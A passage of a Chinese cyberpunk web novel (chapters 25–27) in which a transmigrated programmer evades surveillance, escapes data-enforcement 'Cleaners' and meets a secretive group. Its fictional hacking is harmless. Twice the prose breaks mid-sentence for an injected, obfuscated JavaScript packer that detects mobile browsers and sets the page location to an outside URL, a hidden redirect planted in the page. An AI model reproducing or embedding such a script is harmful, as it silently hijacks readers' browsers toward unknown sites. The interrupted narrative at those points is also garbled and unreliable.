通过V3.0后门,进入独立数据空间。输入三个密钥:记忆密码(母亲生日倒序)、数学问题(第一个质数序列前10位的乘积)、时间条件(当前小时为偶数时才能进入)。 解密成功。 空间里存储着:逃生协议草案(未完成)、关键数据备份(监控节点分布图、神经数据异常解释方案笔记)、身份重置工具(伪造公民身份生成器-基础版)。 一切完好,没有异常访问记录。 测试结论汇总: 1.表面身份:稳定但脆弱,一次异常就可能引发深度审查。 2.灰色身份:工具有效但不可信,有后门监控,依赖老枪(或第三方)。 3.应急身份:安全,是最后的保命手段,但恢复困难(三个密钥缺一不可)。 关键认知:他过于依赖老枪的技术了。就像程序员过度依赖某个第三方库,一旦库作者失联或库有漏洞,整个项目都可能崩溃。 “得自己学‘造轮子’了。”林越想,“或者至少,得找个备用轮子供应商。” 但在此之前,还有一件事要验证:黑水酒吧的漏洞。 傍晚,林越按照监控节点分布图规划的路线,前往第七区商业街。 他避开了所有红色区域,绕行了两个黄色节点,全程保持在绿色和低风险黄色区域。神经接口的监控提示一直在视野边缘闪烁:当前覆盖率61%→58%→63%→59%,像心跳一样波动。 黑水酒吧就在眼前。 招牌还是那个招牌:黑色底色,水波纹状的银色字体,右下角有个不起眼的小标志——看起来像三个水滴组成的三角形。门面不大,玻璃门贴了深色膜,从外面看不清里面。 林越推门进去。 瞬间,神经接口的监控提示消失了。 不是“覆盖率降低”,是直接归零。视野边缘那个一直存在的数字和色条,第一次完全空白。这种感觉很诡异,像是突然从嘈杂的夜市走进隔音室,耳朵里的嗡鸣消失了,但反而让人不安。 酒吧内部比想象中冷清。吧台后站着个中年酒保,面无表情地擦拭着早已干净的玻璃杯。散座区有五六个人,分散坐着,没人交谈,没人看数据板,只是安静地喝酒——或者假装喝酒。 林越走到吧台,点了杯最便宜的合成饮料。 酒保递过来,杯子放在台面上的声音轻得几乎听不见。他看了林越一眼,眼神说不上敌意,但有种审视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151929|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的锐利,像是在扫描什么。 林越端着杯子,选了靠墙的位置坐下,观察。 半小时内,只有两个人进出。进来的人会先看一眼酒保,酒保微微点头,对方才找位置坐下。出去的人会把空杯放回吧台,但不会结账——似乎用的是某种预付或记账系统。 没有监控,但这里的“规矩”比有监控的地方更严格。 林越喝完饮料,走到吧台前,压低声音:“有没有……特别安静的房间?谈点小生意。” 酒保擦杯子的动作停了半秒。他抬起眼,再次打量林越,然后目光转向后门方向。 “后巷,左手第三个门。”酒保的声音很平,“那里……安静。” 他刻意强调了“那里”,而不是“这里”。 重要发现:酒保指向的是后巷(非0%监控区),而非酒吧内部。这意味着,即使内部无监控,这里也并非“安全交易区”——真正的敏感活动,还是要去外面。 林越点头,离开酒吧。 后巷比前街脏乱得多。墙上有涂鸦(早已褪色),地面有积水(可能是空调冷凝水),空气里有股淡淡的霉味。监控覆盖率回升到40%左右,正常水平。 他找到“左手第三个门”——一扇老旧仓库门,铁皮锈蚀,锁是机械式的,已经坏了,虚掩着。 门旁边的墙壁上,有个东西引起了他的注意。 一个老式的物理数据接口。V2.0时代的规格,接口标准早已淘汰,现在的神经接口都是无线接入,这种需要插线连接的接口就像USB-A一样古老。 接口旁边,墙壁上有刻痕。不是机器雕刻,是手工刻的,字迹潦草: TODO: Monitor this area 后面还跟了几个模糊的字符,像是日期,但磨损太严重,看不清了。 林越盯着那行字,心里涌起一股荒诞感。 “TODO注释。”他轻声说,几乎要笑出来,“程序员穿越千年都要面对的‘祖传代码’,连异世界监控系统都逃不掉。” 这证实了老枪的猜想:黑水酒吧的0%监控区,很可能就是系统早期漏洞遗留。V2.0升级到V3.0时,有个开发人员(或施工队)在这里留了个TODO注释,提醒“这里需要监控”,但这个注释一放就是多年,直到系统迭代多次,这个区域依然被遗漏。 而“特殊豁免”(Auditor-7签署)可能是后来发现漏洞后,为了不承认错误而补办的“合法化”手续——先把漏洞变成“特权”,再给特权补个签字,完美掩盖了技术债务。 “典型的官僚操作。”林越想,“就像公司里那个永远修不好的BUG,最后产品经理一拍脑袋:‘这不是BUG,这是特性!’,然后写进说明书里。” 但他也意识到危险:如果这是漏洞,那么: 1.漏洞可能随时被修复(系统更新时某个程序员终于看到了这个TODO)。 2.其他势力也可能知道并利用此漏洞(比如第三方势力)。 3.自己在这里的活动,可能在漏洞之外被监控捕捉(比如后巷的40%覆盖率)。 他记录下接口位置和TODO字样,准备离开。 返回公民服务中心的路上,林越在第七区东部的一条相对僻静的街道被拦下了。 拦下他的是两个人,穿着灰色制服,款式与新长安城普通执法人员略有不同——更简约,没有肩章、没有部门标识,只有左胸口有个小小的城市徽记。 两人站位专业:一个在前,正对林越;一个在后,封住退路。手都放在腰间,那里挂着某种小型设备,不是武器,但肯定不是友好的东西。 前面的灰衣人出示电子证件,屏幕在林越眼前亮起: 数据健康部·清道夫 编号:DH-Cleaner-047 权限:B级执行 “公民林越。”对方开口,声音没有波澜,像念系统提示,“我们是数据健康部的清道夫。你的威胁度在短期内异常波动(37%→42%→43%),系统判定为‘潜在健康风险’。要求你立即配合进行‘深度健康检查’。” 林越心脏骤紧。 清道夫。数据健康部。深度健康检查。 这些词组合在一起,只有一个意思:系统的线下执行力量来了。不是数据层面的监控,是实体世界的抓捕。以“健康”为名,行控制之实。 他瞬间明白:这不是普通的体检。如果被带走,要么在“检查”中暴露穿越秘密,要么被判定为“神经数据异常风险过高”而送入数字遗民再教育系统——那个关联度67%的意识格式化流水线。 两个清道夫又逼近一步。后面的那位手已经按在了腰间设备上,动作不大,但意图明确。 林越的大脑在百分之一秒内闪过所有选项: 选项A:顺从——被带走,风险极高。可能在检查室就被处理掉,或者再也回不来。 选项B:战斗——对方两人,专业训练,有装备。自己只有程序员的基础体能,胜率低于10%。而且攻击清道夫是重罪,一旦动手,就彻底没有回头路。 选项C:逃跑——利用对街道和监控节点的熟悉(刚研究过分布图),但清道夫可能呼叫支援,街道摄像头也可能捕捉。逃跑本身就会成为罪证。 选项D:谈判/拖延——“我需要回宿舍取医疗记录”、“我约了医生明天检查”、“让我先联系我的主管”……任何借口,争取时间。 但清道夫没有给他时间。 “公民林越,请配合。”前面的人重复,语气依旧平静,但压迫感像实质的墙一样压过来。 林越看着他们,看着他们冷漠的眼睛,看着他们制服上那个小小的城市徽记,看着街道尽头闪烁的霓虹灯——那些灯24小时亮着,监控着这个城市的每一寸空气,每一个数据流,每一个“潜在健康风险”。 他的左手下意识抚过手腕。 两道红痕。冰凉,鲜艳,像两道未愈合的伤口,也像倒计时的刻度。 只剩两条命了。 吸进肺里的空气带着数据流特有的细微嗡鸣,像某种背景音乐,永不停歇。前清道夫的手从腰间设备上移开,伸向他——不是粗暴的抓捕,是标准的“请配合”手势,但不容拒绝。 后清道夫向前半步,封锁了侧面的空间。 林越的目光扫过他们的制服,扫过街道,扫过自己手腕上那刺目的红。 他只有一个选择—— 26.清道夫围捕 第六天晚上,21:47。 林越站在第七区商业街的后巷里,手里还捏着刚从便利店买来的合成营养棒。铝箔包装冰凉,但他手心有汗——不是热出来的,是紧张。 面前站着两个人。 深灰色制服,材质硬挺,反光性很低,在霓虹灯招牌的映照下几乎融进夜色。左臂上缝着“DH-Cleaner”的黑色袖标,字体方正,不带任何装饰。右边胸口别着编号牌:一个是“7”,一个是“13”。 数据健康部清道夫。 林越脑子里自动弹出这个名词,像系统弹窗一样突兀且不容忽视。昨天在老枪提供的监控节点分布图里看到过相关标注:“数据健康部流动执行单位,负责处理‘健康风险’个案。建议:规避。” 当时他还吐槽这部门名字起得挺“人文关怀”,实际干的是“系统清道夫”的活。 现在,清道夫找上门了。 领队的是编号7那位。个子不高,但站姿笔直,像是用尺子量过角度。他抬起右手,手腕上的设备投射出一片淡蓝色的全息光幕,悬浮在半空。 光幕上显示着令状: 依据《公民数据健康保障法》第37条临时公民林越(ID: T-2047)你已被随机抽选进行“深度健康检查”请配合——数据健康部,第七区分部 字体是标准系统宋体,排版工整,右下角有动态加密印章在缓慢旋转。 “随机抽选?”林越开口,声音比预想的平稳,“这借口比‘系统抽奖’还假。我玩抽卡游戏至少能看到概率公示,这个‘随机’的标准是什么?威胁度超过40%自动中奖?” 清道夫-7没笑。他的脸像是用数据建模出来的标准模板:五官端正,但缺乏表情肌活动的痕迹。眼睛盯着林越,虹膜里能看到细微的数据流反光——那是植入式视觉增强设备在工作。 “深度健康检查是标准程序。”清道夫-7的声音也很标准,像语音合成,但能听出是人类发声,“旨在确保公民神经接口稳定性、数据健康度、以及……异常神经数据模式的潜在风险评估。” 他把“异常神经数据模式”几个字咬得稍微重了零点几秒。 林越心里一沉。果然是冲着神经数据来的。 他快速评估现状: 人数:两个。一前一后站位,封锁了巷子两端。他背后是死胡同,堆着废弃的全息广告牌框架,铁锈斑斑。前面是清道夫-7,后面是清道夫-13。典型的围捕阵型。 装备:两人都手持便携式扫描仪,巴掌大小,外壳是磨砂黑。林越注意到扫描仪的接口不是标准的神经接口适配口,而是老式的Type-C物理接口——这在V3.0时代几乎绝迹了。他们腰间挂着数据抑制器,火柴盒大小,据说能在三米内瘫痪普通公民的神经接口,让人暂时失去数据接入能力。 环境:这条后巷监控覆盖率回升到40%左右,正常水平。但关键在于,他左手边是商铺外墙,右手边是另一家店铺的后门。正前方200米外,就是黑水酒吧——那个0%监控区的神秘地带。但如果现在往那边跑,等于直接告诉清道夫“我知道那里有漏洞”,后续麻烦更大。 时间:21:47。商业街的人流高峰已过,但还有零星顾客。不过这条后巷很偏,除了他和两个清道夫,没别人。 “我有权在检查前联系指定数据维权代表。”林越引用《临时公民权利保障条例》第12条,这是他昨天特意背的,“并且,我需要知晓检查的具体内容、数据用途、以及可能的后续处理方案。” 他尽量让语气显得“合规且理性”,像在跟客服沟通服务条款。 清道夫-7的扫描仪发出轻微的嗡鸣声。他低头看了一眼屏幕,然后抬头:“条例第12条不适用于‘紧急健康风险’评估。你的异常神经数据标签——‘异常神经数据模式残留,威胁度43%,极端生理压力-数据扰动关联模式’——已触发优先级协议。检查必须立即执行。” 优先级协议。听起来像是某种绿色通道,只不过通向的不是VIP休息室,而是“健康检查室”——鬼知道里面是什么。 林越盯着清道夫-7手里的扫描仪。那玩意儿又嗡了一声,屏幕角落闪过一行小字,速度很快,但他捕捉到了: ERR: Legacy API (v2.0) call timeout V2.0遗留接口调用超时。 又是V2.0。 黑水酒吧的0%监控区是V2.0时代的TODO漏洞;老枪提到系统有大量V2.0遗留接口;现在清道夫的设备也在调用V2.0 API。这三者之间有没有关联? “如果这是紧急情况,”林越试探,“为什么你们的设备还在使用V2.0接口?系统主流已经是V3.2了。这算不算‘设备健康风险’?” 清道夫-7的表情终于有了变化——眉毛微不可察地皱了一下,像是程序遇到了预期外的输入。 “设备合规性由内部技术部门负责。”他回答,但回避了具体解释,“现在,请配合前往第七区健康监测站。步行距离十分钟。” 监测站。林越知道那个地方。在监控节点分布图上,那是“深红色区域”,监控覆盖率98%,入口有生物识别锁,内部有全套扫描设备。一旦进去,他的三层伪装体系可能被层层剥开,应急身份也未必能完全隐藏。 跟他走,像主动跳进“格式化流水线”;硬闯,可能当场被数据抑制器放倒。 这选项比选择题里的“以上都不是”还坑。 就在林越权衡时,清道夫-7的耳麦突然传出一阵刺耳噪音——高频、短暂,大约持续了0.5秒。清道夫-7皱眉,抬手调整耳麦。 几乎同时,林越的神经接口捕获到一段极短暂的数据脉冲。加密的,结构复杂,但特征他很熟悉:匿名数据层常用的跳板加密模式。 第三方势力。 昨天那个发送“桥梁守护者协议”的家伙,或者他的同伙,就在附近。而且他们正在干扰清道夫的通讯。 0.5秒的混乱。 足够了。 “好吧。”林越举起双手,做出配合姿态,“我跟你们去。但我需要记录这次检查的全过程,作为日后申诉的证据。” 这是缓兵之计,也是给第三方一个信号:我在配合,但我需要机会。 清道夫-7点头,示意清道夫-13在前面带路。路线是穿过这条后巷,左转进入主街,再走三百米到监测站。 林越走在中间,清道夫-7跟在后面。三人形成一个小型队列。 他开始执行计划: 第一步,启动灰色身份工具包里的浅层伪装模块。不是完全伪装,而是调整生物特征输出——让实时扫描到的体温、心率、神经电活动出现轻微波动,降低威胁度。这样,即使被沿途的公共监控捕捉,系统也会标记为“低置信度匹配”,给后续解释留空间。 第二步,观察路线。他们要经过“数据集市”广场,那里晚上人少,但监控节点密集,而且有四个异常神经数据监控节点分布在不同方向。不能在那里行动。 第三步,寻找合适的契机。 机会很快来了。 经过一处公共全息广告牌时,广告内容刚好切换——从“新长安城,智慧生活”的宣传片,切换到某个营养补充剂的广告。切换瞬间,屏幕黑屏了大约1秒。 1秒。 林越用神经接口向广告牌的底层控制接口发送了一段预设代码。这代码是他昨天测试监控节点时顺便写的,作用很简单:触发局部电路过载,让附近的照明设备闪烁。 代码发送成功。 广告牌旁边的两盏路灯突然开始频闪,明暗交替,像坏掉的日光灯管。 清道夫-7的注意力被吸引,看向路灯。 就是现在。 林越身体向左微侧,利用清道夫-13的背影遮挡,一步跨进两栋建筑之间的窄缝。这缝隙宽只有一米左右,堆着垃圾箱和废弃包装材料,监控节点分布图上标记为“黄色风险区-可通过”,因为这里的监控角度受限,有大约三米长的盲区。 他进入盲区的瞬间,启动了应急身份的数据隔离协议。 神经接口对外广播的所有信号——身份标识、位置数据、生理指标——全部切断。不是离线(离线会触发警报),而是进入“静默模式”:接口仍在运行,内部运算继续,但对外不发送任何可追踪的数据包。 这感觉很奇怪。就像在嘈杂的派对上突然戴上降噪耳机,世界还在运转,但声音被隔绝在外。神经接口里那些持续的背景嗡鸣消失了,只剩下他自己的思维声。 他靠在墙上,屏住呼吸。 外面传来清道夫-7的声音:“目标消失。” 然后是急促的脚步声,扫描仪的嗡鸣声变得更密集。 “信号丢失。”清道夫-13报告,“最后位置在坐标[X,Y],疑似使用高阶隐匿技术。” “请求区域封锁。”清道夫-7的声音透过墙壁传来,有点闷,但清晰,“覆盖半径五十米,调取所有公共监控记录,重点筛查……” 后面的话听不清了,脚步声远去。 林越等了三秒,然后慢慢从窄缝另一端探出头。外面是另一条小巷,更窄,更暗,监控覆盖率估计只有20%。他沿着阴影移动,动作尽量轻。 脑子里复盘刚才的行动: 利用广告牌黑屏瞬间发送干扰代码——成功。 利用清道夫注意力分散进入盲区——成功。 启动应急身份隔离——成功。 逃脱——暂时成功。 但代价呢? 他调出个人数据面板(离线缓存版本),看到一条已经接收但尚未同步到系统的本地警报: 警报:逃避合规健康检查(事件ID: HC-2047-6) 社会信用积分 -15 当前积分:62(临近观察线) 新增标签:规避审查(观察期:7天) 备注:系统检测到公民在健康检查过程中脱离监控范围,行为已记录。建议主动联系健康部门说明情况,否则可能触发进一步合规审查。 62分。 跌破65分的“安全线”了。 林越扯了扯嘴角。这积分扣得比双十一满减还狠,而且不给申诉入口。之前辛辛苦苦做志愿活动,一天才加2分,这一下扣掉15分,相当于七天白干。 表面身份的脆弱性彻底暴露。积分低于60分,系统会自动标记为“需重点帮扶对象”,意味着更频繁的随机检查、更低的权限、以及……更容易被判定为“数字遗民候选”。 他继续移动,目标是昨天侦查时发现的一处废弃仓库。那里监控覆盖率低,而且有物理遮蔽,适合暂时藏身。 经过一个转角时,他无意中瞥见墙上贴着的旧海报——某次系统升级的宣传画,早已褪色。海报边缘露出一点金属光泽,是清道夫-7刚才靠墙时,制服内衬被勾开了一小道裂缝。 裂缝里,能看到内衬上绣着一个极小的徽记图案。 林越停下脚步,凑近看。 图案很精细:数据流螺旋链,缠绕着一把古老的黄铜钥匙。钥匙齿复杂,像某种密码锁的专用钥匙。螺旋链的纹路间,还有细小的数据流线条穿梭。 这徽记……他见过。 在系统数据库里,查询异常神经数据研究档案时,某个已归档的文件封面角标上,就有类似的图案,不过更复杂,还多了个鹰隼的轮廓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158075|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清道夫部队和异常神经数据处理系统直接关联。 所以“深度健康检查”根本不是随机抽选,而是针对特定人群(神经数据异常者)的系统性处理程序。检查内容恐怕不只是“健康评估”,可能涉及神经数据样本提取、记忆扫描、甚至……意识层面的“再教育”准备。 林越感到一阵寒意,比夜晚的风更冷。 他加快脚步,十分钟后抵达废弃仓库。仓库门半掩着,他侧身进去,里面堆满了废弃的服务器机柜和光纤线缆,空气里有股灰尘和臭氧混合的味道。 安全了。暂时。 他靠在墙上,长长地吐出一口气。肾上腺素开始消退,疲惫感涌上来。左手腕隐隐作痛——不是红痕在疼,是肌肉紧张导致的。 抬起手腕,两道红痕在昏暗光线中依然鲜艳。第三道彻底消失的地方,皮肤光滑,没有任何印记。 “还剩两条命。”他低声说,“而且现在系统盯得更紧了。这生存难度,堪比在雷区里跳踢踏舞,还得踩准节拍。跳错一步,不是被雷炸,就是被系统‘格式化’。” 他检查神经接口状态。应急身份运行稳定,隔离层有效。但持续太久会导致数据同步延迟,等重新接入系统时,会有大量待同步记录,容易引起怀疑。 得尽快恢复正常接入,但需要找个合理的解释——比如“神经接口临时故障,自动修复中”。 正思考时,神经接口里突然弹出一条新消息。 不是通过系统公共信道,也不是通过匿名数据层,而是某种……直接写入缓存区的数据包。来源字段显示为“加密”,格式异常正式: 协议桥梁已感知你的规避行为。 技术评估:合格。 生存意愿评估:强烈。如欲进一步了解“健康检查”的真实目的,及你威胁度43%的意义,可于明日14:00访问坐标:[12位加密字符串,此处省略]。——桥梁守护者(预) 消息末尾没有签名,只有一个简化的图标:两座桥墩,中间一道虚线,像是未完工的桥梁。 第三方势力正式发出了邀约: 时间:明天下午14:00。 条件:未知。 风险:极高。 潜在收益:了解真相,或许还能找到对抗系统的方法。 林越盯着那条消息,脑子快速运转。 清道夫的徽记、威胁度秘密、系统对异常神经数据处理程序、老枪的失联、黑水酒吧的漏洞、以及这个神秘的“桥梁守护者”——所有这些碎片,似乎都在指向同一个方向:系统认知异常处理机制背后,藏着这个监控世界的某个核心秘密。 而他,因为那43%的威胁度,被卷进了漩涡中心。 去,还是不去? 左手腕的两道红痕,在仓库昏暗的光线中,似乎微微发烫。像是倒计时,也像是警告。 他闭上眼睛,脑子里闪过《跨世界生存通用准则》第六条:面对未知选择时,优先评估信息价值与生存概率的平衡。若信息价值足够高,可适度冒险;但永远保留退路。 桥梁守护者显然掌握关键信息。但对方的真实目的?可能是利用,可能是研究,也可能是……更复杂的东西。 他需要更多信息来评估。 林越打开神经接口的草稿功能,开始记录思路: 桥梁守护者接触评估 ?已知信息: 1.技术能力强(干扰清道夫通讯,直接写入缓存)。 2.知晓威胁度具体数值(43%)。 3.知晓“健康检查”真实目的(暗示非表面说法)。 4.自称“协议桥梁”,可能涉及跨世界或跨系统连接。 ?未知风险: 1.真实身份与目的。 2.是否与系统有关联(陷阱可能性)。 3.接触后能否安全退出。 4.会面地点安全性。 ?初步计划: 1.前往会面坐标外围提前侦查(使用监控节点图规避风险)。 2.准备应急撤离方案(至少三条路线)。 3.设定安全时间窗口(会面不超过30分钟)。 4.不暴露核心秘密(三层伪装体系,以灰色身份接触)。 5.关键问题清单:健康检查真相、威胁度意义、桥梁守护者立场、与黑水关联、老枪下落。 写完后,他把草稿加密存储,只留在大脑缓存里。 外面传来轻微的无人机巡逻声,由远及近,又由近及远。系统可能在搜索这片区域,但仓库的金属屋顶和堆叠的机柜提供了良好的信号屏蔽。 林越决定在这里过夜。不安全,但比回公民服务中心强——那里现在可能已经被标记,回去等于自投罗网。 他找了个相对干净的角落,用废弃的防尘布垫着坐下。神经接口切换到最低功耗模式,只保持基础生理监测。 闭上眼睛前,他又看了一眼那条消息。 明日14:00 还有大约十六个小时。 十六个小时,他需要休息、需要制定详细计划、需要侦查会面地点、还需要……应对积分暴跌带来的连锁反应。 “明天的事明天愁。”他对自己说,像在安抚一个焦虑的同事,“现在脑子需要‘系统更新睡眠补丁’。希望别做噩梦,最好是梦到不用写报告的和平世界——虽然这种世界可能根本不存在。” 黑色幽默最后一击,然后意识沉入黑暗。 在彻底睡着前,他模糊地想:那个桥梁守护者,到底想从他这里得到什么?而他又能从对方那里得到什么? 以及最重要的:这场交易,会不会用掉他的第二条命? 左手腕的红痕,在睡梦中依然微微发烫。 27.桥梁抉择 手腕上的灼热感把林越从浅眠中拽了出来。 他睁开眼,废弃仓库的天花板在昏暗中模糊不清。右手下意识摸向左腕——红痕还在,两道,在皮肤下微微发烫,像刚通电的电路板。神经接口的睡眠模式刚解除,视野右下角的数据浮窗就跳了出来,第一条就是: [社会信用积分:62] [状态:跌破安全线(安全线:65)] [新增标签:规避审查(观察期:7天)] [建议行动:立即参与社区贡献活动,或前往信用修复中心咨询] “建议得真好。”林越坐起身,后背贴着冰冷的金属货架,“建议下次别建议了。” 他花了五分钟检查所有数据。异常数据模式威胁度还是43%,“重点观察-极端生理压力关联”标签像个红色勋章挂在个人档案最上方。三层伪装体系的状态面板展开: ?表面身份(林越,信息筛选师学徒):信用分62,工作准确率87.3%,社会适应性评分71(昨天刚掉5分)。状态评估:脆弱。备注:“规避审查”标签将触发每日随机抽查,持续观察期7天。任何异常行为可能导致“重点帮扶”——也就是被请去喝咖啡,然后坐着那把人变成植物人的再教育椅。 ?灰色身份(墨客,数据掮客联络人):老枪提供的工具包运行正常,但后门日志显示过去12小时自动上传了三次使用记录。状态评估:有效但不可信。备注:工具能用,但你知道甲方在监控你干活。而且甲方失联了。 ?应急身份(离线备份人格):加密数据空间稳定,逃生协议草案、关键数据备份、身份重置工具都在。状态评估:安全但恢复困难。备注:这是核按钮。按下去能活,但之前攒的所有进度清零。 林越关掉面板,从背包里摸出半瓶水和能量棒。啃着味道像压缩纸板的食物时,他点开了那条悬在神经接口缓存区的消息。 [发件人:桥梁守护者协议] [内容:明日14:00,坐标已附。请独自前来。建议携带:开放心态,以及你的第二条命。] [坐标:第七区旧数据交换站(外表:古董电子设备维修店)] “还有大约……”他看了眼系统时间,凌晨3点47分,“十小时十三分钟。” 十小时,他需要决定要不要去,如果要去该怎么去,去了之后该怎么谈,谈崩了该怎么跑,跑不掉该怎么……死得好看点。 “这感觉就像接了个‘需求不明确、甲方神秘、但报价惊人的外包项目’。”他对着空气吐槽,“最惨的是,我连报价都还没看到。说不定报价是‘用你的命换我们开心一下’。” 但他知道,其实没得选。 信用分62,跌破安全线。系统会优先“关照”低分公民——更频繁的抽查、更严格的权限限制、更低的容错率。而他还有个“规避审查”标签,意味着接下来七天他就像考场里唯一被三个监考老师盯着的考生,连挠痒痒都可能被记作弊。 独自应对?用灰色身份的工具包慢慢刷分?效率太低。清道夫已经见过他的脸,知道他的神经数据特征,下次围捕只会更狠。老枪失联,债务未清,黑水酒吧的漏洞虽然能用,但那地方本身可能就是个陷阱。 桥梁守护者,这个能干扰清道夫通讯、能直接写入神经接口缓存、能在他被围捕时制造短暂混乱的组织——是目前唯一的变数。 “高风险,高回报。”他喝完最后一口水,“也可能高风险,零回报,还倒贴一条命。” 但轮回者最不缺的就是命。虽然只剩两条。 他做了决定:去。 但不是傻乎乎地去。作为一个经历过四次死亡、被系统追杀、被清道夫围捕还能活下来的前程序员,他有自己的方法论。 凌晨4点20分,新长安城的街道冷清得像刚被清空数据的硬盘。公共照明系统调至夜间模式,淡蓝色的光晕笼罩着空荡荡的人行道。林越穿着深灰色连帽衫,帽檐压低,走在监控节点的绿色区域边缘——老枪提供的分布图显示,这片区域的监控刷新率最低,凌晨时段有3.7%的识别延迟。 坐标指向第七区边缘,靠近旧工业带。那里在新长安城扩建时被规划为“历史数据保留区”,美其名曰保护城市记忆,实际是因为迁移成本太高,干脆把老系统和老建筑一起打包封存,等有钱了再说。 典型的技术债。林越心想,这熟悉的味道,像极了开源项目里那个标着‘TODO: 重构’但三年没人动的模块。 旧数据交换站出现在视野里时,他愣了两秒。 外观是栋三层老楼,外墙的仿石漆剥落得像牛皮癣患者的皮肤。招牌上写着“老陈电子维修”,字体的像素点都磨花了,下面还有一行小字:“专修V2.0以下接口设备、古董存储介质、过时数据卡带”。 伪装得……太像了。像到让人怀疑是不是真就是个维修店。 林越在对面街角的阴影里蹲了十五分钟。神经接口接入公共监控流(伪装成系统巡检流量,老枪工具包的功劳),扫描建筑周边。 结果让他皱眉。 监控覆盖率:32%。远低于区域平均的78%。而且覆盖点分布很奇怪——门口两个摄像头,侧巷一个,后门一个,然后……没了。建筑侧面大片区域是空白,屋顶完全无监控。 “要么是特权,要么是漏洞。”他嘀咕,“或者既是特权又是漏洞,就像某些领导的亲戚在系统里永远有个‘特殊备注’。” 更奇怪的是数据信号。建筑内部有稳定的低频电磁场,强度刚好够维持基础设备运行,但神经接口检测到至少三层加密数据层在交互,信号模式复杂得像是……在运行一个微型数据中心。 “古董维修店需要这么高级的防火墙?”他记下所有细节:监控盲区位置、可能的逃生路线(侧巷通往后街,后街有地下管道入口)、周边交通节点(凌晨5点30分有第一班悬浮公交经过)。 侦查完毕时,天边开始泛灰。林越返回仓库的路上,制定了完整的应急预案: 1.安全时间窗口:45分钟。超时未出来,神经接口自动发送警报数据包(内容:“坐标点异常,请求巡查”——这会把警察引来,暴露会面,但能保命)。 2.应急信号:如果被控制或威胁,连续三次眨眼(触发预设动作模式,发送加密定位信号给……其实没人能收,但至少会在系统留个记录,死后有人查)。 3.逃生方案:三条路线,优先级依次是:混入早班人群乘坐公交 →进入地下管道系统 →最坏情况,退回黑水酒吧用0%监控区躲藏。 4.技术准备:启用数据隔离层(防止被植入追踪程序或恶意代码),在应急身份空间备份当前所有关键数据,设定自毁协议(如果神经接口被强制破解,清空灰色身份和应急身份的所有非核心数据)。 做完这一切,他靠在货架上,看着仓库窗外逐渐亮起的天空。 “像个去面试的。”他对自己说,“只不过面试官可能想把我解剖了研究,而我的简历上写的是‘擅长在不同世界被追杀还能活下来’。” 下午1点55分,林越站在“老陈电子维修”门口。 招牌下的感应器亮起绿灯,门自动滑开。里面堆满了各种老式设备——阴极射线管显示器、机械硬盘阵列、甚至还有几台磁带机。空气里有股淡淡的臭氧和灰尘混合的味道。 柜台后坐着个中年男人,穿着沾满焊锡痕迹的工作服,正用放大镜检查一块电路板。他头也不抬:“修什么?” “预约了14点。”林越说。 男人终于抬头,眼神像扫描仪一样把他从头到脚扫了一遍。“后间。”他指指柜台旁的帘子,“进去后别乱碰东西。有些设备还带电,电死了我不负责。” 林越掀开帘子,后面是条狭窄走廊,尽头有扇金属门。手刚碰到门把手,神经接口就弹出提示: [检测到电磁屏蔽场] [外部连接已中断] [当前状态:完全隔离] 门开了。里面是个不到十平米的小房间,四壁覆盖着蜂窝状的吸波材料,正中摆着一张金属桌和两把椅子。没窗户,唯一的照明来自天花板中央的环形灯带。 林越刚坐下,房间里的光线就暗了下来。 然后,桌子对面出现了……一个人影。 准确说,是全息投影。轮廓清晰,细节逼真,但边缘有细微的像素颤动。是个看上去三十多岁的男性,穿着深蓝色制服,胸前有个徽章——数据流螺旋链,缠绕着一把钥匙。和清道夫内衬的徽记很像,但钥匙的齿形不同。 “林越先生。”投影开口,声音中性,语调平稳得像新闻播报员,“或者说,‘异常数据模式威胁度43%的高威胁个体’。我们观察你很久了。” 媒介。林越捕捉到这个关键词。“你们是桥梁守护者?” “我是‘守桥人’,本次会面的对接者。”投影微微点头,“时间有限,清道夫的追踪协议每六小时升级一次,我们有三十二分钟的安全窗口。我建议直接进入正题。” “正题是,”林越身体前倾,“你们是谁?想要什么?以及,异常数据模式威胁度43%到底是什么意思?” 守桥人没有立刻回答。他——或者说它——的投影抬起手,在空中划了一下。房间中央出现了一幅动态数据图。 “首先,我们是谁。”守桥人说,“桥梁守护者是一个松散组织,成员包括前系统漏洞审计师、数据伦理研究员、以及对当前社会系统根本矛盾有清醒认知的学者。我们的目标不是反抗系统,而是在系统的规则内,为那些被系统标记为‘异常’的个体寻找生存空间。” “异常?” “你可以理解为……系统无法理解的存在。”数据图变化,显示出新长安城社会系统的简化模型——一个不断自我优化、追求绝对稳定和可预测性的巨大算法集合,“这个系统,本质上是一套极致的自治规则。它为了维持自身稳定,会识别并处理所有‘认知异常’——包括但不限于精神疾病、异端思想、以及……像你这样携带无法解析数据扰动的个体。” 守桥人看向林越,投影的眼睛似乎闪烁着数据流。 “你的神经数据模式中有一种罕见的异常标记,这本身并不特殊。特殊的是两件事:第一,你随身携带的那枚玉坠,它在数据层面持续产生一种系统完全无法解析、无法归类的扰动;第二,你自身的神经数据模式,在死亡和重生后会发生剧烈但规律的变化。这两者结合,让系统将你判定为最高级别的‘未知威胁’。” “而威胁度……” 